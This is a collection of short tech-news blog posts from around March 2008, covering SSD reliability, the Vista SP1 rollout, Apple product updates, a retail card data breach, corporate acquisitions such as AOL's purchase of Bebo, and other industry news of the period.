Despite the price, many are opting for SSDs, because of lower power use, the "silence factor," and the ability to stand up to drops (though with accelerometers in many laptops that's not as much an issue any longer). What about overall reliability, though? A report by managing partner Avi Cohen at Avian Securities casts a pall over that subject.

According to Cohen, 10 - 20% SSD laptops shipping from a "large manufacturer" are being returned for hardware failures. The failure rate for hard-drive based laptops is 1 - 2%.

At the same time, other laptops are being returned when people discover that SSDs can't match standard hard drive performance for some disk-intensive applications. No question though, boot time is improved.

So who's this large manufacturer? Probably not Apple (they only starting shipping the MBA recently, right - and you can bet a large number of MBA returns would be big news). Speculation and research would point to Dell, and thus Sandisk, the OEM of its SSDs.

Price-wise, SSDs still are too expensive for most. Questions over reliability and performance, like this, probably indicates that most consumers - not all, there are still plenty who want to be bleeding-edge and have the $$$ to do so - would be better served with a standard hard drive, and upgrading the notebook with a better CPU, more RAM and an extra battery - if they really want to spend that extra money.

Get Your Cheap Refurbished iPhones Here

Remember when the iPhone launched and an 8GB model was $599? Well, you can currently get a refurbished 8GB iPhone from AT&T for $249, $150 off the current price and $350 less than the original price.

Of course, it's refurbished, so you risk getting a scratched-up one . It's interesting that just last week the Apple Store had refurbs, also - for $100 more.

Some people are reading this blurb (after you add the iPhone to your shopping cart) and thinking it means no activation required, but that's not the case:

iPhones are shipped inactive. If you have an existing number with another wireless carrier you will be able to transfer it during the activation process once you receive your device.

Reading that myself, I'm not sure how people are getting confused. It also says on the site:

*Requires 2-year plan, ordered during activation process. Limit one per customer.

Of course, I'm sure you could order the phone and jailbreak it, but if you don't want to go that route, you will still have to sign up with a 2-year plan. Still $249? It's tempting.

Windows Vista SP1 Now Available Via Windows Update

I wrote earlier that Windows Vista SP1 would ship this week, and it's here, at least via Windows Update. We still need to wait and see if Amazon.com's publicized March 19th release from retail still takes place.

Additionally, you can download the whole package from Microsoft's Download Center. Remember, however, that at this time only the five language package is available (English (US), French, German, Japanese, or Spanish (Traditional)). The rest of the languages will release to manufacturing (RTM) in April.

Remember however that because of certain driver issues, not everyone will be able to see SP1 in Windows Update, at least until any problematic drivers on your system are updated. This was announced when Microsoft RTM'ed SP1.

Don't forget also that there are some prerequisite updates you need to install before installing SP1.

For those of us (like myself) curious as to exactly what the driver issues are, Microsoft went into detail in their blog post announcing the SP1 release today.

We spent the last couple of months looking closely at reports of driver problems on pre-release builds and, to be safe, we held the public availability until March.

We've completed our analysis and are happy to report that many of these issues were fixed between the release candidate (RC) and the final version. We identified a small number of device drivers that may be problematic after an update from Windows Vista to Windows Vista SP1. Check out the list here; we'll keep it updated with any additional drivers that we identify. As a result, we spent the past month or so working with our partners on driver updates for these issues. Of these drivers, most already have updated versions on Windows Update and are available for download now as optional updates. In a few weeks, we'll start to deliver these updated drivers to PCs automatically via Windows Update.

We're working with the providers of the remaining devices to get updated versions of the drivers to our customers as well. In the meantime, Windows Update will recognize PCs with drivers that may be problematic and postpone offering SP1 to those PCs until it has installed corrected drivers or other applicable updates. Either way, Windows Update works to detect whether or not your system is ready for SP1 and not offer it to you until the time is right.

The list isn't long (fortunately), but even if you aren't offered the SP1 download via Windows Update, you can take a chance and download the whole package via the link I gave above.

For those of you who recall the problems some users had with one of the prerequisite updates (the Servicing Stack Update, KB937287), Microsoft believes they have pretty much resolved the issue:

By temporarily suspending automatic distribution, and making a small change on our Windows Update server, we believe we've largely eliminated this problem (and our support call volume reflects this). We did find one aspect of the problem that was exacerbated when the update was installed using automatic updates. For this issue, we're planning to release an additional update before we resume automatic distribution of the Servicing Stack Update.

As I said previously, my advice is to back up your system before installing this update. If you don't have access to a backup or disk imaging program, I'd suggest you wait to see some feedback from end users before installing this. There's no reason to rush into an update this large.

NPD Report: Apple Garners 14% of February Retail PC Sales

A newly released report by market research firm NPD shows Apple with a 14% share of PC sales in February, and a 25% share of PC dollars spent. In February of 2007 Macs had only 9% of retail PC sales and 15% of PC dollars spent (let's admit it; Macs are more expensive).

The report, outlined below, also shows an increase of 60% in unit sales from 2007 and a 67% growth from 2007 in terms of dollars.

In fact, in all categories, Macs outpaced the market as a whole. Is it a sign that the Mac is finally gaining critical mass with consumers? It would also have to make inroads into the Enterprise to really make a dent in the PC market.

But perhaps that's starting. Pacific Crest Securities analyst Andy Hargreaves, also on Monday, who has had nothing but positives to say Apple-wise of late, said in an investor's note that the MacBook Air is selling strongly to corporations.

"Macbook Air sales appear to be additive to total sales, rather than replacing Macbook Pro sales. We believe a new set of corporate customers make up a meaningful portion of MacBook Air buyers."

Check out the data:

CBS Launches Local Ad Network; Splits Profit With Bloggers

On Monday CBS Television Stations launched the CBS Local Ad Network, which is a way for local affiliates to get ads onto blogs and social-media sites. Naturally, participating blogs and sites will get a portion of the ad revenue generated by the news widgets they embed into their sites.

Widgets can display a variety of headlines (sports, breaking news, politics, etc.) or even video. Not just any old site can join up, however. Sites have to apply and be approved.

"The CBS Local Ad Network also opens up exciting new avenues for our advertising partners to efficiently extend their reach to valued local audiences while associating themselves with our CBS brands and content," said Jonathan Leess, President and General Manager, CBS Television Stations Digital Media Group in a statement.

Administered by SyndiGo Networks for CBS, the Network launched in the following locations today:

• Boston
• Dallas-Fort Worth
• San Francisco
• Denver
• Chicago
  

Within the next few weeks, the Local Ad Network will launch in:

• New York
• Los Angeles
• Philadelphia
• Minneapolis-St. Paul
• Miami
• Sacramento
• Pittsburgh
• Baltimore

BTW, if you go to SyndiGo's site and attempt to apply: disable any ad-blocking programs. They'll strip out so much stuff you won't be able to apply.

Limbaugh Gets His Mac Fixed

It's been about a month since Rush Limbaugh asked Steve Jobs for "Help!" (on-air) with his Mac problems, acknowledging the political differences between himself and Jobs:

I know he's politically opposite of me, but just to say, 'Mr. Jobs, please, I just ordered six brand-new Mac Pros: four for me and two as gifts; maxed out, Blu-ray drives. I've loaded 'em up.

Limbaugh's problem, detailed on his radio show, was that he couldn't back up his email via Time Machine.

Well, Jobs apparently heard the plea and an engineer was assigned to fix the problem. It could be he wanted to stop the pleas from being heard "on air" as he didn't want people to know Limbaugh used Macs (I'm sure Jobs would prefer he used Windows).

At any rate, both the Time Machine problem and a second (as long as he had the tech on the phone) Back to My Mac problem were fixed. As Limbaugh said on his radio show on March 11th:

An Apple engineer was assigned to us, and the fix took place last night. I did two weeks of trying it, creating logs for the Apple engineers to look at, and they found the problem. Basically, what we had to do was delete the null mail folder (that's the folder that processes all e-mail) and then we told the mail app to rebuild its internal director via terminal command, and now it is working flawlessly. So I just wanted to take a moment to thank people at Apple. I'm not going to mention the name of the engineer. I would love to, but if I did, this guy would be taking heat for the rest of his career from people for helping me. But they were very cooperative, and I think it's going to end up having to be a system-wide fix, which is good, because it's been discovered. The other issue was if you have a dot-Mac account, which is a service that Apple offers -- I don't want to spend too much time on it, but if you have one of those -- you can use it to share the screens of your other computers. Now, I have two here in Florida and two in New York, and they are not synchronized because I'm not in New York very much. So the data that's on those computers...

What if I need an e-mail from there? I can get it now with the screen sharing, but it wasn't working via dot-Mac. I had set it up to work with a direct correct on a VNC direct connect, but it wasn't working via back to my Mac. They fixed that as well. That has been done.

Back to My Mac, BTW, is a program like Windows' Remote Desktop Connection, which allows remote computer access.

OK, now the question is, since Limbaugh says this is a system-wide problem, will they "Rush" a fix out?

802.11n Version of Airport Express Gets Official

Sunday I told you that the Swiss version of the Apple Store accidentally leaked an upcoming 802.11n update for the Airport Express, and Monday it went live (why keep hiding it, eh?).

Although the price remains at $99, don't expect anything else besides 802.11n support. In other words, no Gigabit Ethernet support, or hard drive support (the USB port still only supports a printer and a few third-party devices).

Despite that, it's still one of the smallest and slickest access points. Though Apple really needs to catch up with Gigabit Ethernet and simultaneous dual-band support.

New Retail Data Breach Exposes Millions of Credit, Debit Card Numbers

Monday the Massachusetts Bankers Association (MBA) issued a press release (.PDF) announcing a major data breach at what Visa and MasterCard have said is an unnamed "major retailer." According to the MBA, 60 - 70 banks have been contacted and possibly the credit and debit cards of perhaps hundreds of thousands of consumers in New England states could be affected.

Of course, what the MBA really wants consumers to know is that the issue was not caused by banks, but by a retailer. They want to make sure the blame is targeted properly, obviously.

"We have learned that 60 to 70 of our banks have received alerts from Visa and MasterCard about thousands of exposed credit and debit cards caught in a new data breach," said Daniel J. Forte, president and CEO of the MBA. "The affected accounts appear to be located in banks in Massachusetts and northern New England."

The data breach is reported to have occurred between Dec. 7, 2007 and March 10, 2008.

Wow, that's a big window of opportunity. The MBA was critical of the fact that Visa and MasterCard haven't released the retailer's name, saying:

"Releasing the name of the retailer would make all of our lives easier and safer," said Forte. "Customers who didn’t shop there would be put at ease, and banks could do more efficient investigations to better protect customers. It is an important issue and one that we are vigorously pursuing."

Yes, ahem, it would be nice. Fortunately I don't live in the Northeastern U.S., so for once I'm not affected.

Don't forget that the last really large retailer breach was the T.J. Maxx breach, and in that case MBA settled a lawsuit with them in 2007.

As someone who's had their data lost, stolen, whatever more than once, I use constant credit monitoring, and I would recommend it to those affected by this. Once something like this happens, you're pretty much on guard for the rest of your life.

Though please don't use LifeLock, as I wrote earlier.

Update: the retailer involved was the Hannaford Bros. grocery chain, who revealed their involvement on a statement on their website. The breach has exposed more than 4 million credit and debit card numbers and has already led to 1,800 cases of fraud.

Windows Vista SP1 to Ship This Week

I actually wrote about this in early March, as a footnote to a story about the price drops seen after Microsoft announced its post-SP1 release pricing structure. At that time Amazon was taking pre-orders for Windows Vista with SP1 included, and the announced availability date, as you can see, was - and still is - March 19th (above, click to enlarge).

So unless something drastic happens (and at this point, it won't) the retail version, which will be supposedly free of the "driver issues" Microsoft spoke of when it first released SP1 to manufacturing (RTM), will ship on Wednesday.

At the same time, reports are that the update will appear via Windows Update starting Tuesday.

The driver issues Microsoft warned about mean that some users with Vista already installed won't see the update via Windows Update until the drivers on their systems are updated - also via Windows Update. Installation of SP1 without updating certain drivers would cause - according to Microsoft - severe problems.

It hasn't been a smooth process since Vista SP1 RTM, with prerequisite patches causing endless reboots, accidental releases of SP1 (the 64-bit version, anyway), and information about several apps that are broken by SP1.

My advice: if you're installing from scratch, you're probably safe. If you're updating a system, either back up it completely with a disk imaging utility - or wait a few days to see what the fallout is over the update.

This big an update I wouldn't be an early adopter of, without precautions.

Mastodon Skeleton Being Auctioned on eBay

Another first for an online auction. A mastodon skeleton which has led a well-traveled "life" since its discovery is on eBay, with a starting bid of $115,000 (no bids at the time of this writing).

According to the auction listing, the skeleton was discovered in 1997 by a ranch hand named Eric Pedersen working on Rustler Ranch. The ranch owners, Roger and Nancy Fiddler, wanted the skeleton preserved so they contacted the Oakland Museum of California for help in excavating the skeleton. The skelton is magnificent, though it is missing the tusks.

The mastodon skeleton was displayed at the Oakland Museum of California from October 1999 to June of 2002. Once a replica of the skeleton was made by the museum, the skeleton was moved to the tasting room of a California wine bar. Now it is in the Fiddler's garage.

They'd love to get the garage back, and (naturally) could use the money as well, so they have decided to divest themselves of the skeleton.

The auction runs until March 25th, so any bidders have plenty of time. Just remember: pickup only (no shipping). The skeleton is currently in Petaluma, California.

Airport Express 802.11n Update Accidentally Leaked

Apple's usually so very careful about updating its site, generally taking it down when they introduce a new product. But the Swiss version of the Apple Store appears to have accidentally leaked information about an update to the Airport Express which adds 802.11n support.

The Airport Express is a wireless access point, but besides that it allows users to stream music using its line-out jack as well as share a printer with its USB port. It's not a router though, so don't confuse it with one.

Until now it's only supported 802.11g - not that 802.11n has been fully approved, as it hasn't. But according to the goof at the Swiss site, 802.11n is coming soon.

Take a look at the screenshot above (they fixed the site as someone probably told them heads would roll).

Seems pretty obvious. However, I doubt this will address my objection to Apple's implementation of 802.11n on its Airport Extreme router: though it supports both the 5Ghz and 2.4Ghz bands of the 802.11n spec, it cannot use both at the same time. While dual-band support alone was formerly limited to the Airport Extreme and Buffalo Technology's WZR-AG300NH (which does support simultaneous dual-band), more routers are coming out with dual band support - and simultaneous dual-band support - including the Linksys WRT600N and the Netgear WNDR3300. It would be nice to see Apple address this hole.

At any rate, according to the original leaked page, the price won't change, still $99, so that would be a perk. We'll see if it rolls out this week or not.

Thanks to a friend for tipping me off to this and to MacGeneration (French) for the screenshot (I was too late, myself!).

Japanese ISPs to Cut Off File Sharers

The four major Japanese ISP associations, under considerable pressure by movie, music and software industries, have agreed to take action against file sharers.

Copyright holders, using special software, would use provide the IP addresses of file sharers to ISPs. The ISPs would then send warning emails to the users. If the users did not stop their file sharing, ISPs would suspend their accounts. Repeated offenses would result in termination of their accounts.

The ISP associations include the Telecom Services Association and the Telecommunications Carrier Association and are made up of around 1,000 ISPs, a majority of the Japanese telecommunications market. A panel is planned in April, in conjunction with the copyright holders, to decide exactly how the system should operate.

A six-hour test by a copyright organization using the aforementioned software found about 3.55 million examples of illegally copied gaming software and 610,000 illegally copied music files.

In 2006, a Japanese ISP planned to track users' activities and disconnect file sharers. The plan was halted when the Internal Affairs and Communications Ministry stepped in and said that such monitoring might have privacy implications.

No such warning this time?

You will remember that I previously wrote that the UK is considering a "three strikes" downloading law, and France has a similar law which should pass by the summer. How long before we see such a plan in the U.S.? You have to believe the RIAA and MPAA would love it.

Google Sneaks Out St. Patrick's Day Street View Leprechaun

Google usually spruces up the logo on its home page on a holiday, but this time they've also done something before the fact - use Google Street View and you'll get a leprechaun instead of their regular yellow guy. And he's standing on a three-leaf clover as well.

Move him around the screen all you'll see him trail a rainbow tail - but no pot o' gold. Cute. Wonder what we'll see logo-wise on Monday.

I must admit I never tire of Google's clever holiday themes and images, but now I'm going to have to start looking before the holiday as well as one the day.

Dang.

Patent Filing Reveals Apple TV DVR Plans

A recently uncovered Apple patent application could hint at DVR capabilities to be added to the next generation of Apple TV. The patent application was filed in October 2006.

The patent application describes a system that has three parts: a video processing portion, a storage device and a remote control that resembles an iPod (see above).

Some of the detail in the patent around section [0092]:

For example, program data for upcoming programs, e.g., for the next month, can be downloaded and stored on the remote control device. Thereafter, a user of the remote control device can search programs that are to be broadcast and determine which programs to record.

The recording settings can be programmed onto the remote control device, and then be provided to the video device when data communication is established between the remote control device and the video device.

Sounds like a DVR all right, but the reason the "guide" is downloaded to the remote is so the user can do the following:

For example, a user may download programming data for the next four weeks, and while at a remote location determine what programs to record, e.g., during a commute on a train. Thus, when the user arrives home, the user can place the remote control device within the vicinity of the video device or within the docking port 432, and the recording data is downloaded into the video device. Thereafter the specified programs are recorded.

So, they expect I'm going to want to, in my idle time while on the go, figure out what I want to record and then "sync" the selections to the Apple TV when I get home. Sounds kinda silly to me, but that's just my opinion.

It should be noted that a patent application doesn't necessarily mean the technology involved will ever be produced, assuming the patent is even awarded.

I'm not going to go into detail over all the functionality; AppleInsider has a very detailed examination of the patent here. What do you readers think? Reception of Apple TV has been kind of lukewarm; would DVR functionality interest you?

P4P Aims to Speed Peer-to-Peer File Transfers, Reduce Traffic

I'm guessing I'm not the only one who's never heard of P4P. That's because it's still being developed. The Distributed Computing Industry Association and its "P4P Working Group" is working on a new peer-to-peer protocol, called Proactive network Provider Participation for P2P or P4P. It's described as a "carrier-grade peer-to-peer file transfer system."

What might be surprising to some is that not only are companies such as LimeWire, BitTorrent, and Skype in the list of member companies, but so are ... AT&T and Verizon.

The New York Times wrote a story this week about alarm about the amount of data flowing through the Internet. While the story focused on video such as YouTube, it's also true that P2P traffic - much as ISPs may hate to admit it - makes up a significant percentage of network traffic.

The P4P protocol aims to reduce traffic by using network topology data to select peers intelligently, instead of at random, thus increasing routing efficiency. It's obvious: the more routers or hops traffic has to take, the less efficient

The research paper (.PDF), entitled "P4P: Explicit Communications for Cooperative Control Between P2P and Network Providers" was presented Friday at the inaugural DCIA P2P Market Conference in New York City.

The P4P technology was shown to enhance download rates by 205 percent over unmanaged P2P downloads, and to decrease the number of hops needed in ISP internal data delivery from 5.5 hops to 0.89 hops.

And the network topology data? It came from Verizon.

Don't get any ideas; Verizon isn't blessing P2P transfers - not illegal ones anyway. But they and other ISPs might be getting the point: that P2P in and of itself is not bad.

In fact, the P4P Working Group's mission statement (.PDF) says this:

To work jointly and cooperatively with leading Internet service providers (ISPs), peer-to-peer (P2P) software distributors, and technology researchers to ascertain appropriate and voluntary best practices for the use of “P4P*” mechanisms to accelerate distribution of content and optimize utilization of ISP network resources in order to provide the best possible performance to end-user customers.

Best possible performance for end-users? If it comes to fruition, I'll be impressed.

Viewing Higher Quality Videos on YouTube

Earlier this week when YouTube announced its new APIs, I asked "where are those higher quality videos?" What I didn't realize was that higher quality videos have been available for a while, but only on select videos. It's not HD, but 480 x 360 is better than 320 x 240.

How do you view them, though? The default setting is still normal resolution.

Well, there are 3 ways:

Change the URL. Add &fmt=18 to the end of a normal YouTube URL. If there's a high quality version available, that extra string will cause it to load.

Better YouTube Firefox extension. Lifehacker has made the Better YouTube extension for Firefox; the latest version of the add-on includes the URL technique above. Check it out, it has other features as well.

Change Account Settings. If you have a YouTube account (not all do), go to account settings where you'll find a "Video Quality" option. You can change it to always serve up the higher quality video if it exists.

YouTube also gave some details on their blog on Friday.

You may have noticed that we're now giving you the option of watching some YouTube videos in higher quality. We're making these streams available on certain videos, based upon the source file uploaded to us, and over time you'll find a greater percentage of the library is available to view in higher quality. This feature applies to all eligible videos uploaded from the YouTube community, and is not restricted to partner content, so everyone can enjoy this upgrade.

We want to help everyone understand that YouTube will continue to evolve with the videos you're creating. We're especially excited about offering this upgrade in video quality to our community of filmmakers and animators, who have been requesting this feature for some time. As more of you guys produce great-looking videos, we want to make sure they can be seen in all their glory. So we'll continue to increase quality behind the scenes and make tweaks to support your uploads. (Remember, we can now support uploads up to 1GB in size.)

Yep, still stuck with a 1GB size limitation anyway, so you're not going to see HD videos on there anytime soon. The amount of time it takes to upload in our mostly asymmetric broadband world is also a problem. But at least they're trying.

Just-Patched Excel Doesn't Add Up

Ya know Microsoft, a spreadsheet that doesn't calculate properly isn't of much use.

The original patch was (what else) a security update. It was released earlier this week on Patch Tuesday. Unfortunately, that patch causes another issue, where in Excel 2003, calculations will be incorrect when a Real Time Data source is used in a user-defined Visual Basic for Applications function.

The incorrect result is usually zero. There is a workaround given in the KB article:

To work around this issue, run the function on each cell individually instead of on the array of cells.

Real Time Data was added to Excel in the 2002 version of the spreadsheet, and allows users to have data automatically pushed into a spreadsheet from a variety of sources, including web sites.

On the Microsoft Security Response Center blog (just where I would look for an Excel issue), Bill Sisk posted this bit of information:

Our teams are testing a fix and will release it once it meets our quality bar for broad distribution.

Wait, didn't the original patch have to meet that quality bar as well?

Celebrate Pi Day!

3.141592654. That's Pi (π), at least to the greatest number of digits I can recall. But when I was in school, frequently we would use 3.14. Thus you can see why today is Pi Day. It all adds up.

There's even an official Pi Day website. No kidding. For those of you not in the know, Pi is "the relationship between a circle’s diameter (its width) and its circumference (the distance around the circle)."

So, how can you celebrate Pi Day? Well, you can send a Happy Pi Day e-card, buy some Pi Day merchandise, or visit San Francisco's Exploratorium for their Pi Day celebration.

Of you can do what I'm going to do: head for Baker's Square and eat some pi(e).

Oh, and of course a more precise Pi Day will be in 2015. 3/14/15.

Security Firm Trend Micro a Victim of Latest iFrame Attacks

Nothing is so humorous as when the web site of a security vendor gets hacked. OK, OK, it was hilarious when the RIAA site was hacked, too. And I'll admit: it's probably not as funny if it's your security vendor.

Earlier this week a massive attack on websites via iFrame was launched. According to McAfee's Avert Labs site:

This attack involves injection of script into valid web page to include a reference to a malicious .JS file (sometimes in the BODY, other times in the TITLE section). The .JS file uses script to write an IFRAME, which loads an HTML file that attempts to exploit several vulnerabilities.

These vulnerabilities have already been patched, but some, as listed on McAfee's site, appear to involve obscure ActiveX controls that site owners may not have known to patch. That wouldn't explain Trend Micro's problems, though.

Users are redirected by the hacked page to another site, which will try to install malware. Of course, a savvy user would cancel such an install. Someone more trusting might accept it. If they're lucky, their antivirus program will catch it. If not ...

Trend Micro confirmed that the web site had been hacked early in the week with these types of pages, but the pages were taken down and scrubbed clean on Tuesday night.

While this is of course, humorous, it's more so because Trend Micro is one of the larger security vendors. You'll recall that earlier in the year a small Indian firm was serving up a virus.

AMD Begins Shipping Triple-Core Phenoms

AMD promised to begin shipping triple-core Phenoms in Q1 of this year, and Thursday it began shipping to OEMs and system builders. That's certainly unusual for a tech company, shipping something on time.

The triple-core CPUs will be sold as Phenom 8000s, in contrast to the already shipping quad-core Phenom 9000 line.

According to unofficial sources, the initial release of triple-core CPUs include the 2.1GHz 8450, $159 each in 1,000-unit trays, the 2.3GHz 8650 at $179 and the 2.4GHz 8750 at just over $200.

It'll be interesting to watch the market reaction to triple-core CPUs. These processors are quad-core CPUs with one failed core. AMD believes there is a large market between dual- and quad-core processors.

Time will tell.

Apple Tries to Cool Off "Hot" Macbook Air Owners

On Monday, Apple issued the "SMC Update 1.0" for the MacBook Air. You might ask, "what the heck is SMC?" Well, SMC stands for the System Management Controller, a chip on the laptop's motherboard responsible for power management.

According to Apple,

"The SMC Update fine tunes the speed and operation of the internal fan."

Apple released this update because owners have been complaining of overheating issues with Macbook Airs. This thread on their discussion forum, has over 3,000 views and over 50 replies.

My MBA would freeze up and then unfreeze and then freeze again, at an interval of about 10 to 15 seconds. This happens when I watch video on iTune, QuickTime or even those flash based videos such as YouTube.

CPU monitor shows one core shutting down itself when this happens, and the other core would run at 100% (roughly half for user and half for system). When the system try to take 100% of the single core left, the OS would freeze.

I suspect this is an overheating problem, but I have no prove. All heat monitors indicate temperatures in acceptable range, but I suspect a particular unmonitored component may have overheated causing on CPU core to shut down.

Despite the update, many are still complaining, either saying their systems didn't need the update or that the update didn't improve things. For example, this post says:

The SMC Update didn't worked for me: it said my machine was already up to date. And my fan were running on 6200 rpm all the time.

This behaviour leads me to something we all already knew: Adobe Flash Player is a cpu hog, no doubt there. However, the problem is with exhibition of graphics, which grows so much that forces the SMC cut the power on one of the cpu cores.

Theories are that the issue really lies in the OS, as the post posits:

So this is my theory:

When the heat reaches a certain limit, instead of lowering the frequencies, it disables one core and we have the intermittent freezing problem.

In fact I tried using windows xp through boot camp and no matter what I did, it never freezed.

My opinion is that the problem is OS and/or driver related and I think it will be fixed in the future with a patch.

Some have wondered if the increased popularity of Apple produced has produced quality control issues. Of late, we have seen reported nano explosions, keyboard freeze issues on MacBooks, problems with defective DVD as well as BSODs during installation of Leopard - and on and on.

The unusual design of the MBA surely places more stress on the components, heat-wise. Much as owners probably will hate to admit it, it's not designed to be a desktop replacement and certainly not a gaming laptop - you're just asking for overheating.

It's obvious, though, that however the MBA is programmed to respond to overheating - it ain't working for many users, and correction is still called for.

Asus: Windows XP-Based Eee PCs to Outsell Linux

Asus formally launched the Eee PC with XP on board at the Cebit trade show earlier this month, in Germany. As these start to reach users, Asus has released some estimates sure to disappoint Linux fans.

The Eee PC has been hot, selling 300,000 units last year with Asus estimating sales of 5 million units this year. But the majority of those, approximately 60%, will be Windows-based, according to Asus. And that's even with the "head start" Linux has been given with Windows-pre-installed Eee PCs launching only recently.

At a news conference in Taipei on Thursday, Jonney Shih, chairman of Asus said, ""About 60 percent of them (Eee PCs) will have Windows XP operating system. A lot of people have been waiting for the Windows version."

Well, yeah. Including me, but mostly for my wife, who wants one but has some programs she's using for her dissertation that only run on Windows.

But besides that, most people are used to Windows. She'd rather not learn something new, whether it's Linux or MacOS. And that's the ticket for a lot of people, right? Which is where these predictions come from.

Until the Asus Eee PC 900 arrives, Asus will be selling two different versions of the Windows Eee PC laptop. The Eee PC Surf XP will cost approximately $400 with a 7" LCD screen, 4GB of NAND flash memory for storage, and 512M-bytes of DDR2 RAM. The Eee PC 4G XP will cost approximately $473 with the same specs and an additional 4GB SD card as well as a larger capacity battery and a built-in 3-megapixel webcam. Similar Linux versions are $349 and $399 respectively, so the price differential isn't that large.

So yes, I'd buy the XP version over the Linux version, if only for the convenience of being able to use the same programs I already do. The price difference isn't daunting enough to dissuade me.

Electronic Arts Goes Hostile for Take-Two

Stung by the rejection of its late February offer, spurned Take-Two suitor Electronic Arts (EA) has taken the bid directly to shareholders. Yep, they've gone hostile.

In a press release on Thursday, EA made the same $26 / share offer it had earlier presented to Take-Two. EA Chief Executive Officer John Riccitiello said:

This is a great opportunity for Take-Two shareholders. We believe Take-Two investors will see our tender offer as the best way to maximize the value of their investment in Take-Two. This tender offer provides a clear process to complete the proposed transaction. For EA shareholders, the combination would add additional intellectual properties to our already strong portfolio and welcome Take-Tw’s talented creative teams to the great development organization we've built at EA.

The tender offer is scheduled to expire at 12:00 midnight, New York City time, on Friday, April 11, 2008, unless extended. It's also conditional on a number of things, including (naturally) EA being able to "acquire a majority of the outstanding shares (fully-diluted) of Take-Two in the tender offer."

Yah, yah. If we can't get enough to take over, we don't want any. We got it.

Take-Two shares (TTWO) have risen to $25.51 at the time of this writing. Take-Two has previously said they felt the $26 / share offer undervalued the company.

At the same time, earlier this week the company was slapped with a lawsuit over the rejection of EA's offer.

Obviously still more to come.

AOL to Acquire Bebo for $850 Million

In a surprise move, Time-Warner's AOL division on Thursday announced it has acquired Bebo for $850 million in cash. Bebo claims a global membership of about 40 million users and is the top social networking site in Ireland and New Zealand. It is No. 3 in the United States behind MySpace and Facebook, but it trails badly there.

Rumors about Bebo being acquired have been circulating since February. In a press release, Randy Falco, Chairman and CEO, AOL said:

"Bebo is the perfect complement to AOL’s personal communications network and puts us in a leading position in social media. What drew us to Bebo was its substantial and fast-growing worldwide user-base, its vision of a truly social web, and the monetization opportunities that leverage Platform-A across our combined global audience. This positions us to offer advertisers even greater reach and marketers significant insights into the desires and needs of consumers."

Meanwhile, as we've seen lately with Yahoo! CEO Jerry Yang, Randy Falco sent a similar email to AOL employees, with full use of the shift key, however. An excerpt is below; the full email can be read here.

Dear colleagues,

I've said many times that my vision for AOL is that we become a global, market-leading ad-supported digital media company. Today, we're taking a major step toward realizing this ambition.

We're announcing plans to acquire Bebo, a leading global social media network founded in 2005 that has a worldwide membership of 40 million.

This acquisition is game changing for AOL for a number of reasons. It puts us squarely in a leading position in social media at a time when it’s growing at a fantastic rate. It will help power our strategic priorities across the board. And, just as important, by acquiring Bebo we can reclaim our heritage as a leader and innovator in the online community space.

This move places a large question mark on talk of an AOL - Yahoo! merger. Yahoo! doesn't have a competing product, so there's no conflict there, but it would seem the additional complications would place a damper on prospects of such a merger - though that doesn't mean it still can't happen.

Another issue: Yahoo! currently serves ads on Bebo. When asked about this during the conference call, Bebo president Joanna Shields declined to comment, saying it was too early to discuss.

AOL also said during the conference call that AOL’s intention, its intention is integrate AIM and ICQ with a social network. As they said:

The U.S. is number 3 is a pretty big deal and why we are so excited about the future opps is the combo and integration of ICQ and AIM with Bebo. There is no other social network that will have that kind of power.

Finally, one question on the conference call regarding the price: some in the blogosphere have said the deal was overpriced, at $21.25 a member. This was rebuffed by Falco based on history. Certainly if you look at investments in MySpace and Facebook you can make some decent comparisons:

• News Corp / MySpace, July 2005: $580 million, or $21.80 for each of the network's 27 million (at that time) members. This was a steal, anyone would say today.
  

• Microsoft investment in Facebook, October 2007: an investment of $240 million (or a valuation of $15 billion), or $300 for each of the network's 50 million members. Big difference there, but look at Facebook's market share (12.57%) vs. Bebo's (1.24%) the ratio's not too far off. Of course, few believe the $15 billion valuation of Facebook.
  

So, did AOL get a good deal? Too early to say, but one good stats about Bebo members: the press release says they view an average of 78 pages per day. That's pretty impressive and shows a high level of user engagement, and definitely a good thing, particularly with ads on said pages.

Toshiba to Post a Nearly $1B Loss Over HD-DVD

Ouch. Now we know what the price tag is for Toshiba over HD-DVD. Without citing sources, the Nikkei business daily (subscription required) reported on Thursday that the company will write off a 100 billion yen ($977 million) loss from its HD-DVD business.

Toshiba abandoned the HD-DVD format last month after a series of setbacks, beginning with Warner Bros. dropping HD-DVD just prior to CES, and continuing with Netflix, Best Buy, and Wal-Mart dropping HD-DVD in fairly rapid succession.

Since Toshiba's announcement, a number of retailers have come forward with consumer-friendly return or credit plans. Japanese retailer Edion offered to swap HD DVD players purchased at its stores with rival format Blu-ray players, with consumers paying any price difference.

Canadian retailer Future Shop offered a similar deal. And Circuit City increased the available time for the return of an HD-DVD player to 90 days, up from the normal 30.

So, for early adopters who chose the hi-def optical disc version of the Betamax, it hasn't been a total loss. For Toshiba, we see it's quite a different story.

iPhone SDK Downloaded 100K Times in First Four Days

Apple announced Wednesday that in the first four days after the launch of the iPhone SDK, it was downloaded more than 100,000 times. In a press release, Philip Schiller, Apple’s senior vice president of Worldwide Product Marketing said:

"Developer reaction to the iPhone SDK has been incredible with more than 100,000 downloads in the first four days. Also, over one million people have watched the launch video on Apple.com, further demonstrating the incredible interest developers have in creating applications for the iPhone."

You'll recall Apple had some demos at the SDK launch, including companies such as Epocrates, Electronic Arts, Salesforce.com and Sega.

The press release included exec-level quotes from some big companies.

• Rick Jensen, senior vice president, Small Business Group at Intuit: "The iPhone SDK gives us the tools we need to create powerful iPhone applications and is an important part of our overall mobile strategy. We’re excited that the iPhone expands the ways our customers can solve key financial tasks wherever they might be."
  

• “Six Apart pioneered the mobile blogging experience with an iPhone-optimized blog service,” said Chris Alden, CEO, Six Apart. “We’re taking it to the next level with our native iPhone application for TypePad that’s already in development.”
  

• Luke Braud, vice president, Software Development, NetSuite: "Apple’s tools have provided our development team the flexibility to make the SuitePhone application richer and deeper. NetSuite is excited at the opportunity to give every iPhone customer access to their critical business data anytime, anywhere."

More interesting (at least to me) were the number of quotes from game developers. The iPhone as a gaming platform: very cool. Particularly with the accelerometer (I'm thinking of Apple's own Touch Fighter demo from the SDK launch).

• Scott Rubin, vice president, Sales and Marketing, Namco Networks: "We’re very excited about Apple’s new SDK and reaching every iPhone user through the new App Store. We can’t wait to show off great new versions of arcade classics like PAC-MAN and Galaga that use the revolutionary features of the iPhone and iPod touch."
  

• Jason Kapalka, co-founder and Chief Creative Officer, PopCap: "Apple’s become an important mobile game platform with the iPhone SDK. The new SDK gives us the tools to innovate and reinvent games like Bejeweled, Zuma and Peggle. With the new App Store we can reach every iPhone and iPod touch user on the planet."
  

